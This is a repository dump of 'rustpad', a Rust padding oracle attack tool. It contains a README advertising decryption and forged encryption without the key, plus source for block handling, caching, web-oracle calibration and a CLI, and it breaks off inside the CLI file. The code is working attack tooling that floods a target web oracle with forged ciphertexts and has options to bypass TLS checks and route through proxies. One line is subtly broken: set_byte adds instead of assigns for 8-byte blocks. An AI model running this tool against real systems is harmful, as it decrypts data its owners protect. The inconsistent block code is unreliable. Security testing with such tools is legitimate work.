commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # rustpad 2 |

3 | 4 | 5 | 6 | build status shield 7 | 8 | 9 | uses Rust shield 10 | 11 | 12 | license shield 13 | 14 |

15 | 16 |

17 | asciinema example run 18 |

19 | 20 | ## 👇🏃 Download 21 | |

Arch linux

|

Kali / Debian

|

Others

| 22 | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | 23 | | `yay -Syu rustpad` | See releases | `cargo install rustpad` | 24 | |

aur shield

|

deb shield

|

crates.io shield

| 25 | 26 | ## 🔪🏛️ A multi-threaded what now? 27 | `rustpad` is a multi-threaded successor to the classic [`padbuster`](https://github.com/AonCyberLabs/PadBuster), written in Rust. It abuses a [Padding Oracle vulnerability](https://en.wikipedia.org/wiki/Padding_oracle_attack) to decrypt any cypher text or encrypt arbitrary plain text **without knowing the encryption key**! 28 | 29 | ## 🦀💻 Features 30 | - Decryption of cypher texts 31 | - Encryption of arbitrary plain text 32 | - Multi-threading on both block and byte level 33 | - Modern, real-time and interactive TUI! 34 | - No-TTY support, so you can just pipe output to a file 35 | - Supports *Web* server oracles... 36 | - ... and *Script*-based oracles. For when you need just that extra bit of control. 37 | - Automated calibration of web oracle's (in)correct padding response 38 | - Progress bar and automated retries 39 | - Tab auto-completion 40 | - Block-level caching 41 | - Smart detection of cypher text encoding, supporting: `hex`, `base64`, `base64url` 42 | - No IV support 43 | - Written in purely safe Rust, making sure you don't encounter nasty crashes 44 | 45 | ## 🗒️🤔 Usage 46 | Using `rustpad` to attack a padding oracle is easy. It requires only 4 pieces of information to start: 47 | - type of oracle (`web`/`script`, see below) 48 | - target oracle (`--oracle`) 49 | - cypher text to decrypt (`--decrypt`) 50 | - block size (`--block-size`) 51 | 52 | ### Web mode 53 | Web mode specifies that the oracle is located on the web. In other words, the oracle is a web server with a URL. 54 | 55 | For a padding oracle attack to succeed, an oracle must say so if a cypher text with incorrect padding was provided. `rustpad` will analyse the oracle's responses and automatically calibrate itself to the oracle's behaviour. 56 | 57 | ### Script mode 58 | Script mode was made for power users ~~or CTF players 🏴‍☠️ who were given a script to run~~. The target oracle is a local shell script. 59 | 60 | Scripts allow you to run attacks against local oracles or more exotic services. Or you can use script mode to customise and extend `rustpad`'s features. However, if you're missing a feature, feel free to open an issue on [GitHub](https://github.com/Kibouo/rustpad/issues)! 61 | 62 | ### Shell auto-completion 63 | `rustpad` can generate tab auto-completion scripts for most popular shells: 64 | ```sh 65 | rustpad setup 66 | ``` 67 | 68 | Consult your shell's documentation on what to do with the generated script. 69 | 70 | ## 🕥💤 Coming soon 71 | - [ ] smarter URL parsing 72 | - [ ] advanced calibration: response text should contain "x", time-based 73 | - [ ] automated block size detection 74 | - [ ] .NET URL token encoding? 75 | -------------------------------------------------------------------------------- /assets/example_run.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kibouo/rustpad/11ce343bad6ef23658890f6162a714abc9983222/assets/example_run.gif -------------------------------------------------------------------------------- /src/block/block_size.rs: -------------------------------------------------------------------------------- 1 | use std::{ops::Deref, str::FromStr}; 2 | 3 | use anyhow::{anyhow, Result}; 4 | use itertools::Itertools; 5 | 6 | use super::Block; 7 | 8 | #[derive(Clone, Copy, Debug)] 9 | pub(crate) enum BlockSize { 10 | Eight, 11 | Sixteen, 12 | } 13 | 14 | pub(crate) trait BlockSizeTrait { 15 | fn block_size(&self) -> BlockSize; 16 | } 17 | 18 | impl BlockSize { 19 | fn variants() -> &'static [Self] { 20 | &[BlockSize::Eight, BlockSize::Sixteen] 21 | } 22 | } 23 | 24 | impl From for BlockSize { 25 | fn from(data: u8) -> Self { 26 | match data { 27 | 8 => Self::Eight, 28 | 16 => Self::Sixteen, 29 | _ => unreachable!("{}", format!("Invalid block size: {}", data)), 30 | } 31 | } 32 | } 33 | 34 | impl From for BlockSize { 35 | fn from(data: usize) -> Self { 36 | match data { 37 | 8 => Self::Eight, 38 | 16 => Self::Sixteen, 39 | _ => unreachable!("{}", format!("Invalid block size: {}", data)), 40 | } 41 | } 42 | } 43 | 44 | impl FromStr for BlockSize { 45 | type Err = anyhow::Error; 46 | 47 | fn from_str(data: &str) -> Result { 48 | match data { 49 | "8" => Ok(Self::Eight), 50 | "16" => Ok(Self::Sixteen), 51 | _ => Err(anyhow!( 52 | "`{}` is an invalid block size. Expected one of: [{}]", 53 | data, 54 | Self::variants() 55 | .iter() 56 | .map(|variant| variant.to_string()) 57 | .join(", ") 58 | )), 59 | } 60 | } 61 | } 62 | 63 | impl From<&Block> for BlockSize { 64 | fn from(block: &Block) -> Self { 65 | match block { 66 | Block::Eight(_) => Self::Eight, 67 | Block::Sixteen(_) => Self::Sixteen, 68 | } 69 | } 70 | } 71 | 72 | impl Deref for BlockSize { 73 | type Target = u8; 74 | 75 | fn deref(&self) -> &Self::Target { 76 | match self { 77 | BlockSize::Eight => &8, 78 | BlockSize::Sixteen => &16, 79 | } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /src/block/mod.rs: -------------------------------------------------------------------------------- 1 | pub(super) mod block_size; 2 | 3 | use std::{ 4 | fmt::Display, 5 | ops::{BitXor, Deref, DerefMut}, 6 | }; 7 | 8 | use serde::{Deserialize, Serialize}; 9 | 10 | use self::block_size::{BlockSize, BlockSizeTrait}; 11 | 12 | #[derive(Debug, Clone, Serialize, Deserialize, Hash, PartialEq, Eq)] 13 | pub(super) enum Block { 14 | Eight([u8; 8]), 15 | Sixteen([u8; 16]), 16 | } 17 | 18 | impl Block { 19 | pub(super) fn new(block_size: &BlockSize) -> Self { 20 | match block_size { 21 | BlockSize::Eight => Block::Eight([0; 8]), 22 | BlockSize::Sixteen => Block::Sixteen([0; 16]), 23 | } 24 | } 25 | 26 | fn new_incremental_padding(block_size: &BlockSize) -> Self { 27 | match block_size { 28 | BlockSize::Eight => Block::Eight([8, 7, 6, 5, 4, 3, 2, 1]), 29 | BlockSize::Sixteen => { 30 | Block::Sixteen([16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1]) 31 | } 32 | } 33 | } 34 | 35 | pub(super) fn set_byte(&mut self, index: usize, value: u8) -> &mut Self { 36 | match self { 37 | Block::Eight(data) => { 38 | if index < 8 { 39 | data[index] += value; 40 | } else { 41 | panic!( 42 | "Tried to increment byte at index {} of 8-byte block", 43 | index + 1 44 | ); 45 | } 46 | } 47 | Block::Sixteen(data) => { 48 | if index < 16 { 49 | data[index] = value; 50 | } else { 51 | panic!( 52 | "Tried to increment byte at index {} of 16-byte block", 53 | index + 1 54 | ); 55 | } 56 | } 57 | } 58 | 59 | self 60 | } 61 | 62 | /// Clone this block and adjusts bytes to produce the correct padding 63 | /// Due to xor's working, this cannot be done as a simple +1 in byte value. We must use xor's commutative property. 64 | pub(super) fn to_adjusted_for_padding(&self, pad_size: u8) -> Self { 65 | let mut adjusted_block = self.clone(); 66 | 67 | for i in self.len() - (pad_size as usize)..self.len() { 68 | adjusted_block[i] ^= (self.len() - i) as u8; // get actual padding out 69 | adjusted_block[i] ^= pad_size; // put WIP padding in 70 | } 71 | 72 | adjusted_block 73 | } 74 | 75 | pub(super) fn to_hex(&self) -> String { 76 | hex::encode(&**self) 77 | } 78 | 79 | pub(super) fn to_ascii(&self) -> String { 80 | self.iter() 81 | .map(|byte_value| *byte_value as char) 82 | .map(|c| { 83 | if !c.is_ascii() || c.is_ascii_control() { 84 | '.' 85 | } else { 86 | c 87 | } 88 | }) 89 | .collect::() 90 | } 91 | 92 | pub(super) fn to_intermediate(&self) -> Block { 93 | self ^ &Block::new_incremental_padding(&self.block_size()) 94 | } 95 | } 96 | 97 | impl BlockSizeTrait for Block { 98 | fn block_size(&self) -> BlockSize { 99 | BlockSize::from(self) 100 | } 101 | } 102 | 103 | impl BitXor for &Block { 104 | type Output = Block; 105 | 106 | fn bitxor(self, rhs: Self) -> Self::Output { 107 | if *self.block_size() != *rhs.block_size() { 108 | panic!( 109 | "Can't XOR blocks of size {} and {}", 110 | *self.block_size(), 111 | *rhs.block_size() 112 | ); 113 | } 114 | 115 | let xored_bytes: Vec = self 116 | .deref() 117 | .iter() 118 | .zip(rhs.deref().iter()) 119 | .into_iter() 120 | .map(|(l, r)| l ^ r) 121 | .collect(); 122 | 123 | xored_bytes[..].into() 124 | } 125 | } 126 | 127 | impl From<&[u8]> for Block { 128 | fn from(chunk_data: &[u8]) -> Self { 129 | let block_size = chunk_data.len().into(); 130 | match block_size { 131 | BlockSize::Eight => Block::Eight( 132 | chunk_data 133 | .try_into() 134 | .unwrap_or_else(|_| panic!("Not enough data to fill block of {}", *block_size)), 135 | ), 136 | BlockSize::Sixteen => Block::Sixteen( 137 | chunk_data 138 | .try_into() 139 | .unwrap_or_else(|_| panic!("Not enough data to fill block of {}", *block_size)), 140 | ), 141 | } 142 | } 143 | } 144 | 145 | impl Deref for Block { 146 | type Target = [u8]; 147 | 148 | fn deref(&self) -> &Self::Target { 149 | match self { 150 | Block::Eight(data) => data, 151 | Block::Sixteen(data) => data, 152 | } 153 | } 154 | } 155 | 156 | impl DerefMut for Block { 157 | fn deref_mut(&mut self) -> &mut Self::Target { 158 | match self { 159 | Block::Eight(data) => data, 160 | Block::Sixteen(data) => data, 161 | } 162 | } 163 | } 164 | 165 | impl Display for Block { 166 | fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { 167 | write!( 168 | f, 169 | "{}", 170 | self.iter() 171 | .map(|byte_value| *byte_value as char) 172 | .collect::() 173 | ) 174 | } 175 | } 176 | -------------------------------------------------------------------------------- /src/cache/cache_config.rs: -------------------------------------------------------------------------------- 1 | use serde::{Deserialize, Serialize}; 2 | 3 | use crate::{ 4 | calibrator::calibration_response::{CalibrationResponse, SerializableCalibrationResponse}, 5 | oracle::oracle_location::{OracleLocation, SerializableOracleLocation}, 6 | }; 7 | 8 | /// State which defines the validity of a cache entry. 9 | /// In other words, all of the properties between the current and the cache's must match to allow loading of the associated values. 10 | #[derive(Serialize, Deserialize, Hash, PartialEq, Eq, Clone)] 11 | pub(crate) struct CacheConfig { 12 | oracle_location: SerializableOracleLocation, 13 | calibration_response: Option, 14 | } 15 | 16 | impl CacheConfig { 17 | pub(crate) fn new( 18 | oracle_location: OracleLocation, 19 | calibration_response: Option, 20 | ) -> Self { 21 | Self { 22 | oracle_location: oracle_location.into(), 23 | calibration_response: calibration_response.map(SerializableCalibrationResponse::from), 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/cache/mod.rs: -------------------------------------------------------------------------------- 1 | pub(super) mod cache_config; 2 | 3 | use std::{ 4 | collections::HashMap, 5 | fs::{create_dir_all, File, OpenOptions}, 6 | io::{Read, Seek, Write}, 7 | path::PathBuf, 8 | }; 9 | 10 | use anyhow::{Context, Result}; 11 | 12 | use crate::block::Block; 13 | 14 | use self::cache_config::CacheConfig; 15 | 16 | const CACHE_FILE_NAME: &str = "cache.bin"; 17 | 18 | pub(super) struct Cache { 19 | cache_file: File, 20 | config: CacheConfig, 21 | data: HashMap>, 22 | } 23 | 24 | impl Cache { 25 | pub(super) fn load_from_file(config: CacheConfig) -> Result { 26 | let mut cache_file = open_cache_file()?; 27 | 28 | let mut file_data = vec![]; 29 | cache_file 30 | .read_to_end(&mut file_data) 31 | .context("Cache file read failure")?; 32 | 33 | let mut data = if file_data.is_empty() { 34 | HashMap::new() 35 | } else { 36 | rmp_serde::from_read_ref(&file_data) 37 | .context("Cache file de-serialization failed: corrupted MessagePack data")? 38 | }; 39 | 40 | // create an entry for the current config if needed 41 | let _ = data.entry(config.clone()).or_insert_with(HashMap::new); 42 | 43 | Ok(Self { 44 | cache_file, 45 | config, 46 | data, 47 | }) 48 | } 49 | 50 | pub(super) fn insert(&mut self, key: (Block, Block), value: Block) -> Result<()> { 51 | let _ = self 52 | .data 53 | .entry(self.config.clone()) 54 | .or_insert_with(HashMap::new) 55 | .insert(key, value); 56 | 57 | // write back to file 58 | // clear file 1st and then write, instead of writing 1st and then adjusting the length. In case of an error, this leaves an empty file. The other approach would leave corrupted binary data in the file. 59 | self.cache_file 60 | .set_len(0) 61 | .context("Cache file emptying failed")?; 62 | self.cache_file 63 | .rewind() 64 | .context("Cache file seek-to-start failed")?; 65 | self.cache_file 66 | .write_all(&rmp_serde::to_vec(&self.data).context("Cache data serialization failed")?) 67 | .context("Cache could not be saved") 68 | } 69 | 70 | pub(super) fn get(&self, key: &(Block, Block)) -> Option<&Block> { 71 | self.data 72 | .get(&self.config) 73 | .and_then(|blocks_mapping| blocks_mapping.get(key)) 74 | } 75 | } 76 | 77 | fn open_cache_file() -> Result { 78 | let cache_file_dir = dirs::cache_dir() 79 | .map(|dir| dir.join(env!("CARGO_PKG_NAME"))) 80 | .unwrap_or_else(|| PathBuf::from("./cache")); 81 | create_dir_all(&cache_file_dir).context("Cache directory creation failed")?; 82 | 83 | let cache_file_path = cache_file_dir.join(CACHE_FILE_NAME); 84 | OpenOptions::new() 85 | .read(true) 86 | .write(true) 87 | .create(true) 88 | .open(cache_file_path.clone()) 89 | .context(format!( 90 | "Cache file `{}` failed to open", 91 | cache_file_path.display() 92 | )) 93 | } 94 | -------------------------------------------------------------------------------- /src/calibrator/calibration_response.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Context, Result}; 2 | use getset::Getters; 3 | use reqwest::{ 4 | blocking::Response, 5 | header::{self, HeaderValue}, 6 | StatusCode, 7 | }; 8 | use serde::{Deserialize, Serialize}; 9 | 10 | /// Contains the parts of web response which are relevant to deciding whether the web oracle decided the padding was correct or not. 11 | #[derive(Hash, Eq, PartialEq, Debug, Clone, Getters)] 12 | pub(crate) struct CalibrationResponse { 13 | #[getset(get = "pub(super)")] 14 | status: StatusCode, 15 | #[getset(get = "pub(super)")] 16 | location: Option, 17 | #[getset(get)] // private 18 | content: Option, 19 | #[getset(get = "pub(super)")] 20 | content_length: Option, 21 | } 22 | 23 | #[derive(Serialize, Deserialize, Hash, PartialEq, Eq, Clone)] 24 | pub(crate) struct SerializableCalibrationResponse { 25 | status: u16, 26 | location: Option>, 27 | content: Option, 28 | content_length: Option, 29 | } 30 | 31 | impl CalibrationResponse { 32 | pub(crate) fn from_response(response: Response, consider_body: bool) -> Result { 33 | let status = response.status(); 34 | let location = response.headers().get(header::LOCATION).cloned(); 35 | let content_length = if consider_body { 36 | response.content_length() 37 | } else { 38 | None 39 | }; 40 | let content = if consider_body { 41 | Some(response.text()?) 42 | } else { 43 | None 44 | }; 45 | 46 | Ok(CalibrationResponse { 47 | status, 48 | location, 49 | content, 50 | content_length, 51 | }) 52 | } 53 | } 54 | 55 | impl From for SerializableCalibrationResponse { 56 | fn from(response: CalibrationResponse) -> Self { 57 | Self { 58 | status: response.status().as_u16(), 59 | location: response 60 | .location() 61 | .as_ref() 62 | .map(|v| Vec::from(v.as_bytes())), 63 | content: response.content().clone(), 64 | content_length: *response.content_length(), 65 | } 66 | } 67 | } 68 | 69 | impl From for CalibrationResponse { 70 | fn from(response: SerializableCalibrationResponse) -> Self { 71 | Self { 72 | status: StatusCode::from_u16(response.status).context("Status code stored in cache is invalid").expect("Data stored in the cache was verified when it was created. As such, the only possible reason for this must be a corrupted cache file."), 73 | location: response 74 | .location 75 | .map(|v| HeaderValue::from_bytes(&v[..]).context("Header value stored in cache is invalid").expect("Data stored in the cache was verified when it was created. As such, the only possible reason for this must be a corrupted cache file.")), 76 | content: response.content, 77 | content_length: response.content_length, 78 | } 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /src/calibrator/mod.rs: -------------------------------------------------------------------------------- 1 | pub(super) mod calibration_response; 2 | 3 | use calibration_response::CalibrationResponse; 4 | 5 | use std::{collections::HashMap, thread}; 6 | 7 | use anyhow::{anyhow, Context, Result}; 8 | use log::{debug, info, warn}; 9 | use rayon::iter::{IntoParallelIterator, ParallelIterator}; 10 | use reqwest::blocking::Response; 11 | use retry::{delay::Fibonacci, retry_with_index, OperationResult}; 12 | 13 | use crate::{ 14 | cypher_text::forged_cypher_text::ForgedCypherText, 15 | logging::LOG_TARGET, 16 | oracle::web::calibrate_web::CalibrationWebOracle, 17 | other::{RETRY_DELAY_MS, RETRY_MAX_ATTEMPTS}, 18 | }; 19 | 20 | pub(super) struct Calibrator<'a> { 21 | forged_cypher_text: ForgedCypherText<'a>, 22 | } 23 | 24 | impl<'a> Calibrator<'a> { 25 | pub(super) fn new(forged_cypher_text: ForgedCypherText<'a>) -> Self { 26 | Self { forged_cypher_text } 27 | } 28 | 29 | /// Find how the web oracle responds in case of a padding error 30 | pub(super) fn determine_padding_error_response( 31 | &self, 32 | oracle: CalibrationWebOracle, 33 | ) -> Result { 34 | let responses = (u8::MIN..=u8::MAX) 35 | .into_par_iter() 36 | .map(|byte_value| { 37 | let mut forged_cypher_text = self.forged_cypher_text.clone(); 38 | 39 | forged_cypher_text.set_current_byte(byte_value); 40 | debug!( 41 | target: LOG_TARGET, 42 | "Calibration block attempt: {}", 43 | forged_cypher_text.forged_block_wip().to_hex() 44 | ); 45 | 46 | let response = 47 | retry_with_index(Fibonacci::from_millis(RETRY_DELAY_MS), |attempt| { 48 | calibrate_while_handling_retries( 49 | attempt, 50 | byte_value, 51 | &oracle, 52 | &forged_cypher_text, 53 | ) 54 | }) 55 | .map_err(|e| anyhow!(e.to_string()))?; 56 | 57 | CalibrationResponse::from_response(response, *oracle.config().consider_body()) 58 | }) 59 | .collect::>>() 60 | .context("Failed to contact web oracle for calibration")?; 61 | 62 | // false positive, the hashmap's key (`response`) is obviously not mutable 63 | #[allow(clippy::mutable_key_type)] 64 | let counted_responses = responses.into_iter().fold( 65 | HashMap::new(), 66 | |mut acc: HashMap, response| { 67 | *acc.entry(response).or_default() += 1; 68 | acc 69 | }, 70 | ); 71 | debug!( 72 | target: LOG_TARGET, 73 | "Calibration results: {:#?}", counted_responses 74 | ); 75 | 76 | if counted_responses.len() < 2 { 77 | return Err(anyhow!("Calibration of the web oracle failed. We don't know how a response to (in)correct padding looks, as all responses looked the same. Try adding the `--consider-body` flag")); 78 | } 79 | 80 | let padding_error_response = counted_responses 81 | .into_iter() 82 | .max_by_key(|(_, seen)| *seen) 83 | .map(|(response, _)| response) 84 | .expect("The hashmap can only be empty if no responses were received, which can only happen if errors occurred. But errors were already resolved by unpacking the potential responses."); 85 | 86 | info!( 87 | target: LOG_TARGET, 88 | "Calibrated the web oracle! Using parameters:" 89 | ); 90 | info!( 91 | target: LOG_TARGET, 92 | "- Status: {}", 93 | padding_error_response.status() 94 | ); 95 | if let Some(location) = padding_error_response.location() { 96 | info!(target: LOG_TARGET, "- Location: {}", location.to_str()?); 97 | } 98 | if *oracle.config().consider_body() { 99 | info!( 100 | target: LOG_TARGET, 101 | "- Content length: {}", 102 | padding_error_response 103 | .content_length() 104 | .map(|length| length.to_string()) 105 | .unwrap_or_else(|| "?".to_string()) 106 | ); 107 | } 108 | 109 | Ok(padding_error_response) 110 | } 111 | } 112 | 113 | fn calibrate_while_handling_retries( 114 | attempt: u64, 115 | byte_value: u8, 116 | oracle: &CalibrationWebOracle, 117 | forged_cypher_text: &ForgedCypherText, 118 | ) -> OperationResult { 119 | if attempt > RETRY_MAX_ATTEMPTS { 120 | return OperationResult::Err(format!( 121 | "Calibration block, value {}: validation failed", 122 | byte_value 123 | )); 124 | } 125 | 126 | thread::sleep(**oracle.thread_delay()); 127 | 128 | match oracle.ask_validation(forged_cypher_text) { 129 | Ok(correct_padding) => OperationResult::Ok(correct_padding), 130 | Err(e) => { 131 | warn!( 132 | target: LOG_TARGET, 133 | "Calibration block, value {}: retrying validation ({}/{})", 134 | byte_value, 135 | attempt, 136 | RETRY_MAX_ATTEMPTS 137 | ); 138 | debug!(target: LOG_TARGET, "{:?}", e); 139 | OperationResult::Retry(format!( 140 | "Calibration block, value {}: retrying validation ({}/{})", 141 | byte_value, attempt, RETRY_MAX_ATTEMPTS 142 | )) 143 | } 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /src/cli.rs: -------------------------------------------------------------------------------- 1 | use std::{ops::Deref, path::PathBuf}; 2 | 3 | use clap::{AppSettings, Args, Parser, Subcommand}; 4 | use clap_complete::Shell; 5 | use getset::Getters; 6 | use reqwest::Url; 7 | 8 | use crate::{ 9 | block::block_size::BlockSize, 10 | config::{ 11 | encoding_option::EncodingOption, header::Header, proxy_credentials::ProxyCredentials, 12 | request_timeout::RequestTimeout, thread_count::ThreadCount, thread_delay::ThreadDelay, 13 | user_agent::UserAgent, 14 | }, 15 | oracle::oracle_location::OracleLocation, 16 | }; 17 | 18 | #[derive(Parser)] 19 | #[clap( 20 | about, 21 | long_about = None, 22 | version, 23 | setting = 24 | AppSettings::SubcommandRequired | 25 | AppSettings::PropagateVersion | 26 | AppSettings::DisableHelpSubcommand | 27 | AppSettings::InferSubcommands 28 | )] 29 | pub(super) struct Cli { 30 | #[clap(subcommand)] 31 | pub(super) sub_command: SubCommand, 32 | } 33 | 34 | #[derive(Subcommand, Debug)] 35 | pub(super) enum SubCommand { 36 | #[clap( 37 | about = "Question a web-based oracle", 38 | long_about = None, 39 | after_help = "Indicate the cypher text's location! See `--keyword` for clarification.", 40 | display_order = 1, 41 | short_flag = 'W', 42 | long_flag = "web" 43 | )] 44 | Web(Box), 45 | #[clap( 46 | about = "Question a script-based oracle", 47 | long_about = None, 48 | after_help = "Script must respond with exit code 0 for correct padding, and any other code otherwise. Cypher text is passed as the 1st argument.", 49 | display_order = 2, 50 | short_flag = 'S', 51 | long_flag = "script" 52 | )] 53 | Script(Box), 54 | #[clap( 55 | about = "Setup shell auto-complete", 56 | long_about = "Generate a tab auto-completion script for the given shell. Consult your shell's documentation on what to do with the generated script", 57 | display_order = 3, 58 | long_flag = "setup" 59 | )] 60 | Setup(Box), 61 | } 62 | 63 | // These "global" CLI options are not marked as global via `clap`, and instead included in every relevant sub-command. 64 | // This is because the sub-command `setup` doesn't need to know about these options (it's different from e.g. `web`), 65 | // and `clap` doesn't allow us to hide options marked as `global`. 66 | #[derive(Args, Getters, Debug)] 67 | pub(super) struct GlobalOptions { 68 | #[clap( 69 | help = "Oracle to question", 70 | long_help = "The oracle to question with forged cypher texts. This can be a URL or a shell script. 71 | 72 | See the subcommands `web --help` and `script --help` respectively for further help.", 73 | short = 'O', 74 | long = "oracle", 75 | aliases = &["oracle", "oracle-location", "oracle_location"], 76 | )] 77 | #[getset(get = "pub(super)")] 78 | oracle_location: OracleLocation, 79 | #[clap( 80 | // TODO: let clap list the options 81 | // https://github.com/clap-rs/clap/issues/3312 82 | help = "Block size used by the cypher", 83 | long_help = "Block size used by the cypher 84 | 85 | [options: 8, 16]", 86 | short = 'B', 87 | long = "block-size", 88 | aliases = &["block-size", "block_size"], 89 | )] 90 | #[getset(get = "pub(super)")] 91 | block_size: BlockSize, 92 | #[clap( 93 | help = "Cypher text to decrypt", 94 | long_help = "Original cypher text, received from the target service, which is to be decrypted", 95 | short = 'D', 96 | long = "decrypt", 97 | aliases = &["decrypt", "cypher-text", "cypher_text", "ctext"], 98 | )] 99 | #[getset(get = "pub(super)")] 100 | cypher_text: String, 101 | #[clap( 102 | help = "Plain text to encrypt", 103 | long_help = "Plain text to encrypt. Note: encryption mode requires a cypher text to gather necessary data", 104 | short = 'E', 105 | long = "encrypt", 106 | aliases = &["encrypt", "plain-text", "plain_text", "ptext"], 107 | requires = "cypher-text", 108 | )] 109 | #[getset(get = "pub(super)")] 110 | plain_text: Option, 111 | #[clap( 112 | help = "Cypher text without IV", 113 | long_help = "Cypher text does not include an Initialisation Vector", 114 | short = 'n', 115 | long = "no-iv", 116 | aliases = &["no-iv", "no_iv", "noiv"], 117 | )] 118 | #[getset(get = "pub(super)")] 119 | no_iv: bool, 120 | #[clap( 121 | help = "Increase verbosity", 122 | long_help = "Increase verbosity of logging", 123 | short = 'v', 124 | long = "verbose", 125 | aliases = &["verbose", "verbosity"], 126 | parse(from_occurrences) 127 | )] 128 | #[getset(get = "pub(super)")] 129 | verbosity: u8, 130 | #[clap( 131 | help = "Thread count", 132 | long_help = "Amount of threads in the thread pool", 133 | short = 't', 134 | long = "threads", 135 | aliases = &["threads", "thread-count", "thread_count"], 136 | default_value_t = ThreadCount::default(), 137 | )] 138 | #[getset(get = "pub(super)")] 139 | thread_count: ThreadCount, 140 | #[clap( 141 | help = "Delay between requests within a thread", 142 | long_help = "Delay between requests within a thread, in milliseconds", 143 | long = "delay", 144 | aliases = &["delay", "thread_delay", "thread-delay"], 145 | default_value_t = ThreadDelay::default(), 146 | )] 147 | #[getset(get = "pub(super)")] 148 | thread_delay: ThreadDelay, 149 | #[clap( 150 | help = "Output to file", 151 | long_help = "File path to which log output will be written", 152 | short = 'o', 153 | long = "output", 154 | aliases = &["output", "output_file", "output-file", "log", "log_file", "log-file"], 155 | )] 156 | #[getset(get = "pub(super)")] 157 | log_file: Option, 158 | #[clap( 159 | help = "Specify cypher text encoding", 160 | // TODO: let clap list the options 161 | // https://github.com/clap-rs/clap/issues/3312 162 | long_help = "Specify encoding used by the oracle to encode the cypher text 163 | 164 | [options: auto, hex, base64, base64url]", 165 | short = 'e', 166 | long = "encoding", 167 | aliases = &[ 168 | "encoding", 169 | "enc", 170 | "cypher_text_encoding", 171 | "cypher-text-encoding", 172 | "ctext_encoding", 173 | "ctext-encoding", 174 | "ctext_enc", 175 | "ctext-enc" 176 | ], 177 | default_value_t = EncodingOption::Auto, 178 | )] 179 | #[getset(get = "pub(super)")] 180 | encoding: EncodingOption, 181 | #[clap( 182 | help = "Disable URL encoding and decoding of cypher text", 183 | long = "no-url-encode", 184 | aliases = &["no-url-encode", "no_url_encode", "no-url-enc", "no_url_enc"], 185 | )] 186 | #[getset(get = "pub(super)")] 187 | no_url_encode: bool, 188 | #[clap( 189 | help = "Disable cache", 190 | long_help = "Disable reading and writing to the cache file", 191 | long = "no-cache", 192 | aliases = &["no-cache", "no_cache"], 193 | )] 194 | #[getset(get = "pub(super)")] 195 | no_cache: bool, 196 | } 197 | 198 | #[derive(Args, Getters, Debug)] 199 | pub(super) struct WebCli { 200 | #[clap(flatten)] 201 | #[getset(get = "pub(super)")] 202 | global_options: GlobalOptions, 203 | #[clap( 204 | help = "Data to send in a POST request", 205 | short = 'd', 206 | long = "data", 207 | aliases = &["data", "post-data"] 208 | )] 209 | #[getset(get = "pub(super)")] 210 | post_data: Option, 211 | #[clap( 212 | help = "HTTP header to send", 213 | long_help = "HTTP header to send 214 | 215 | [format: :]", 216 | short = 'H', 217 | long = "header", 218 | multiple_occurrences = true, 219 | number_of_values = 1 220 | )] 221 | #[getset(get = "pub(super)")] 222 | header: Vec
, 223 | #[clap(help = "Follow HTTP Redirects", short = 'r', long = "redirect")] 224 | #[getset(get = "pub(super)")] 225 | redirect: bool, 226 | #[clap( 227 | help = "Disable TLS certificate validation", 228 | short = 'k', 229 | long = "insecure", 230 | aliases = &["no_cert_check", "insecure-tls", "no-cert-check", "no-tls-check"] 231 | )] 232 | #[getset(get = "pub(super)")] 233 | no_cert_validation: bool, 234 | #[clap( 235 | help = "Keyword indicating the cypher text", 236 | long_help = "Keyword indicating the location of the cypher text in the HTTP request. It is replaced by the cypher text's value at runtime", 237 | short = 'K', 238 | long = "keyword", 239 | default_value = "CTEXT" 240 | )] 241 | #[getset(get = "pub(super)")] 242 | keyword: String, 243 | #[clap( 244 | help = "Consider the body during calibration", 245 | long_help = "Consider the response body and content length when determining the web oracle's response to (in)correct padding", 246 | short = 'c', 247 | long = "consider-body", 248 | aliases = &["consider_body", "consider-body", "consider-content", "consider_content"] 249 | )] 250 | #[getset(get = "pub(super)")] 251 | consider_body: bool, 252 | #[clap( 253 | help = "User-agent to identify with", 254 | short = 'A', 255 | long = "user-agent", 256 | aliases = &["user-agent", "user_agent"], 257 | default_value_t = UserAgent::default() 258 | )] 259 | #[getset(get = "pub(super)")] 260 | user_agent: UserAgent, 261 | #[clap( 262 | help = "Proxy server", 263 | long_help = "Proxy server to send web requests over. Supports HTTP(S) and SOCKS5", 264 | short = 'x', 265 | long = "proxy", 266 | aliases = &["proxy", "proxy_server", "proxy-server", "proxy_url", "proxy-url"] 267 | )] 268 | #[getset(get = "pub(super)")] 269 | proxy_url: Option, 270 | #[clap( 271 | help = "Credentials for proxy server", 272 | long_help = "Credentials to authenticate against the proxy server with 273 | 274 | [format: :]", 275 | long = "proxy-credentials", 276 | aliases = &["proxy-credentials", "proxy_credentials", "proxy_creds", "proxy-creds"], 277 | requires = "proxy-url" 278 | )] 279 | #[getset(get = "pub(super)")] 280 | proxy_credentials: Option, 281 | #[clap( 282 | help = "Web request timeout", 283 | long_help = "Web request timeout in seconds", 284 | short = 'T', 285 | long = "timeout", 286 | aliases = &["timeout", "request_timeout", "request-timeout", "timeout_secs", "timeout_seconds"], 287 | default_value_t = RequestTimeout::default() 288 | )] 289 | #[getset(get = "pub(super)")] 290 | request_timeout: RequestTimeout, 291 | } 292 | 293 | #[derive(Args, Getters, Debug)] 294 | pub(super) struct ScriptCli { 295 | #[clap(flatten)] 296 | #[getset(get = "pub(super)")] 297 | 